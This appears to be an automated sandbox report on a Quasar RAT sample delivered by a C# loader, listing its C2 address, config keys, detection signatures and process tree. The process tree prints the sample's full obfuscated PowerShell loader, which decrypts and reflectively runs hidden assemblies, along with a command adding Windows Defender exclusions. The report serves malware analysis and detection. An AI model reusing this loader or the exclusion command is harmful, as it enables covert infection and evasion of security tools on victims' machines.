Overview

overview

10

Static

static

3

2026-06-02...lc.exe

windows10-2004-x64

10

2026-06-02...lc.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/06/2026, 03:42

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-06-02_f66b3148779feaac0b639c57b05e4f6d_icedid_stealc.exe
  • Size 5.2MB
  • Sample260602-d9vxtads4y
  • SHA256 95a382ad413c65b52944b057de7033be3021d7b8fcc0a1ce84618f25842c26e1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
vps-86defense_evasiondownloaderexecutioncustomerloaderquasarloaderspywaretrojan

Malware Config

Extracted

Family

  • quasar

Version

  • 1.6.6

Botnet

  • vps-86

C2

  • 163.61.39.209:5669

Mutex

  • 4fd296c3-6a44-46fd-aeb0-b9b9530e8f29

Attributes
  • encryption_key

    63C89A087404DF5C2E4073DE97AD98A6817E3B5E

  • install_name

    .exe

  • key_salt

    5a23f8394640cb9e40658446a04c0bbae82dc93d0470e1b2a406a90fd2520382

  • reconnect_delay

    3000

Signatures

  • Family: Customer Loader

    Customer Loader is a downloader written in C#.

    downloaderloadercustomerloader
  • Family: Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar payload 1 IoCs
  • UAC bypass 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF 1 IoCs
  • Detects Windows executables referencing non-Windows User-Agents 1 IoCs
  • Detects binaries and memory artifacts referencing sandbox DLLs typically observed in sandbox evasion 1 IoCs
  • Detects executables manipulated with Fody 1 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-06-02_f66b3148779feaac0b639c57b05e4f6d_icedid_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-06-02_f66b3148779feaac0b639c57b05e4f6d_icedid_stealc.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2136
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\ij3fHf1vjaqF.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3488
      • C:\Windows\system32\net.exe
        net session
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4944
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 session
          4⤵
            PID:4620
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -Wi Hi -Ex Bypass -c "$YvYqae = 'Sys' + 'tem';;$HVfjhn = $YvYqae + '.Se' + 'cur' + 'ity.Cry' + 'pt' + 'ogr' + 'aphy';;$wmoXvy = $YvYqae + '.I' + 'O';;$Xindvj = $YvYqae + '.Re' + 'fle' + 'cti' + 'on';;$nTGTa = 'Fr' + 'omB' + 'ase' + '64S' + 'tri' + 'ng';;$azYMc = 'Cr' + 'eat' + 'eDe' + 'cry' + 'ptor';;$xouJj = 'Tr' + 'ans' + 'for' + 'mFi' + 'nal' + 'Blo' + 'ck';;function QkDbxFdB($KWCNcM) {; $hnfWQN=New-Object ($HVfjhn + '.Ae' + 'sMa' + 'nag' + 'ed');; $hnfWQN.Mode=[int]1;; $hnfWQN.Padding=[int]2;; $hnfWQN.Key=[Convert]::$nTGTa('RjLqtMlbhkf33vtX95StqLpcfDLYKUTy668Ybrft5rc=');; $hnfWQN.IV=[Convert]::$nTGTa('6wf2OTfW7ueLiSrE0gkVvw==');; $bWvBZ=$hnfWQN.$azYMc();; $OJleZ=$bWvBZ.$xouJj($KWCNcM, 0, $KWCNcM.Length);; $bWvBZ.Dispose();; $hnfWQN.Dispose();; $OJleZ;;};function JaAAUiyE($KWCNcM) {; $sobJZL=New-Object ($wmoXvy + '.Me' + 'mo' + 'ryS' + 'tre' + 'am')(,$KWCNcM);; $mHqffZ=New-Object ($wmoXvy + '.Me' + 'mo' + 'ryS' + 'tre' + 'am');; $UdhhJt=$wmoXvy + '.Co' + 'mpr' + 'ess' + 'ion';; $FGJwVS=[type]($UdhhJt + '.Com' + 'pre' + 'ssion' + 'Mo' + 'de');; $NqApSi=[Enum]::ToObject($FGJwVS, 0);; $RpQUX=New-Object ($UdhhJt + '.GZ' + 'ipS' + 'tre' + 'am')($sobJZL, $NqApSi);; $RpQUX.CopyTo($mHqffZ);; $RpQUX.Dispose();; $sobJZL.Dispose();; $mHqffZ.Dispose();; $mHqffZ.ToArray();;};function aXGjNOGW($KWCNcM,$ahJNWV) {; $xCQgY='En' + 'try' + 'Po' + 'int';; $DktlS='Lo' + 'ad';; $JMJwz='In' + 'vo' + 'ke';; $MFqaD=[type]($Xindvj + '.As' + 'se' + 'mb' + 'ly');; $QWUuDR=$MFqaD::$DktlS([byte[]]$KWCNcM);; $vtrRnm=$QWUuDR.$xCQgY;; $vtrRnm.$JMJwz($null, $ahJNWV);;};function JyOgMDYO($XUtIL) {; $uYqafb = New-Object byte[] ($XUtIL.Length / 2);; for ($QMcXn = 0; $QMcXn -lt $XUtIL.Length; $QMcXn += 2) {; $uYqafb[$QMcXn / 2] = [Convert]::ToByte($XUtIL.Substring($QMcXn, 2), 16);; }; $uYqafb;;};$vnJPV = 'GaUaes';;$OaNDj = 'rem ' + $vnJPV;;$sQUngo = $env:lyBGsbGD;;$hTZGy=[type]($wmoXvy + '.Fi' + 'le');;$mjGFG='Re'+'adA'+'llL'+'ine'+'s';;$lIRpzGc=$hTZGy::$mjGFG($sQUngo);;$RGVCnFr = '';;$oqtHnfO = '';;$wdrLbJ = $OaNDj.Length;;foreach ($lDcda in $lIRpzGc) {; if ($lDcda.Length -gt ($wdrLbJ + 1)) {; if ($lDcda.Substring(0, $wdrLbJ) -eq $OaNDj) {; $YBtbqE = $lDcda.Substring($wdrLbJ);; if ($YBtbqE[0] -eq 'b') { $RGVCnFr += $YBtbqE.Substring(1) }; if ($YBtbqE[0] -eq 's') { $oqtHnfO += $YBtbqE.Substring(1) }; }; };};$PjRKAo=JaAAUiyE (QkDbxFdB (JyOgMDYO $RGVCnFr));;$uFrTuh=JaAAUiyE (QkDbxFdB (JyOgMDYO $oqtHnfO));;aXGjNOGW $PjRKAo $null;;aXGjNOGW $uFrTuh (,[string[]] @());"
          3⤵
          • UAC bypass
          • Badlisted process makes network request
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2984
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoP -Wi Hi -Ex Bypass -c "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming','C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3344

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_kxkc2wm2.faa.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kxkc2wm2.faa.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          ij3fHf1vjaqF.bat
          • Path C:\Users\Admin\AppData\Local\Temp\ij3fHf1vjaqF.bat
          • Size 5.1MB
          • SHA256 a7cb5dff279022d1cee5b2d9240ba6c9e57618e3584b22048a2d9618db1f77d8
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/2984-30-0x0000023AF1630000-0x0000023AF16E2000-memory.dmp
          Download

          memory/2984-17-0x0000023AF0900000-0x0000023AF0B4A000-memory.dmp
          Download

          memory/2984-13-0x0000023AE8500000-0x0000023AE8522000-memory.dmp
          Download

          memory/2984-15-0x0000023AE61D0000-0x0000023AE61E0000-memory.dmp
          Download

          memory/2984-14-0x0000023AE61D0000-0x0000023AE61E0000-memory.dmp
          Download

          memory/2984-16-0x0000023ACDF80000-0x0000023ACDF88000-memory.dmp
          Download

          memory/2984-31-0x0000023AF1C40000-0x0000023AF1E02000-memory.dmp
          Download

          memory/2984-27-0x0000023AF0DA0000-0x0000023AF103C000-memory.dmp
          Download

          memory/2984-28-0x0000023ACDFA0000-0x0000023ACDFBE000-memory.dmp
          Download

          memory/2984-29-0x0000023AF1090000-0x0000023AF10E0000-memory.dmp
          Download

          memory/2984-4-0x0000023AE61D0000-0x0000023AE61E0000-memory.dmp
          Download

          memory/2984-5-0x0000023AE61D0000-0x0000023AE61E0000-memory.dmp
          Download

          memory/2984-36-0x0000023AF11B0000-0x0000023AF11E4000-memory.dmp
          Download

          memory/2984-34-0x0000023AF1130000-0x0000023AF117E000-memory.dmp
          Download

          memory/2984-33-0x0000023AF10E0000-0x0000023AF112A000-memory.dmp
          Download

          memory/2984-35-0x0000023AF1180000-0x0000023AF11A6000-memory.dmp
          Download

          memory/2984-32-0x0000023AF1040000-0x0000023AF107A000-memory.dmp
          Download

          memory/2984-37-0x0000023AF16F0000-0x0000023AF173C000-memory.dmp
          Download

          memory/2984-38-0x0000023AF1740000-0x0000023AF178A000-memory.dmp
          Download

          memory/2984-39-0x0000023AF11F0000-0x0000023AF121A000-memory.dmp
          Download

          memory/2984-40-0x0000023AF17B0000-0x0000023AF17C2000-memory.dmp
          Download

          memory/2984-41-0x0000023AF1BB0000-0x0000023AF1BEC000-memory.dmp
          Download

          memory/2984-42-0x0000023AF1790000-0x0000023AF179A000-memory.dmp
          Download

          memory/2984-43-0x0000023AF17E0000-0x0000023AF17E8000-memory.dmp
          Download